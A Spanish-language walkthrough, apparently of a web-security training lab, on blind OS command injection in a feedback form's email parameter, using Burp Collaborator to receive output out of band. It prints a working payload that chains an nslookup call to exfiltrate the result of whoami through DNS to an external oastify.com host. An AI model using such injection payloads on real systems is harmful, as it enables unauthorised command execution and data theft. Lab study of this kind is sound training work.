Laboratorio: Inyección ciega de comandos del SO con exfiltración de datos fuera de banda
Last updated
Last updated
En este caso la aplicación ejecuta el comando shell por debajo de la aplicación para todo los detalles proporcionados por el usuario, sin embargo de form asincrónica así que no tiene ningún efecto sobre la respuesta de la aplicación, así que no es posible redirigir la salida del comando a una dirección dentro de la pagina a la que pueda acceder.
Para este caso tendremos que acudir a burp collaborator ya que es el unico que nos puede servir para este proposito.
Importante, tenemos que tener presente que la vulnerabilidad se encuentra en la función de retroalimentación del aplicativo. ⚠️
Adicional a ello es importante contar con la version Pro de burp para poder solucionar este laboratorio.
¡Ahora si, a darle!
Si le damos al boton que está detrás del alert, el submit solution, parece ser el lugar donde debemos poner el nombre del user que obtuvimos con el whoami.
En ese caso vamos a tomar la peticion POST de submit feedback, a ver que podemos lograr.
Vamos a tomar el parametro email
y vemos que sucede:
Nslookup
NOO! Dnslookup
, por ello no estaba pudiendo lograr nada.Es importante tener en cuenta que en burp collaborator la forma en como se crean urls dinamicas provisionales es cada vez que le demos al boton poll now asi que si le damos ahi automaticamente se crea una nueva URL por ello se debe estar pendiente para cambiar en el burp repeater, ademas de tener cuidado con el nslookup. (porque por ello no había podido resolver el lab)
&email=||nslookup+whoami.iwizb3zs6wqzdv6ptfl3js0gr7xylt9i.oastify.com||
Entonces claro cuando vamos a las urls tomadas por burp collaborator en el burp collaborator, tomamos la DNS de la url y efectivamente aparece el user tal cual como pusimos que aparecería en la URL →
El user es: peter-7Ir8l7
Ingresamos el USERNAME para verificarlo.
Y efectivamente pudimos lograr resolver el Lab. :)
Vamos a burp collaborator, es el que necesitamos para poder llevar la ejecución al sitio externo, que en este caso es este: (deberás generar el tuyo propio con tu collaborator)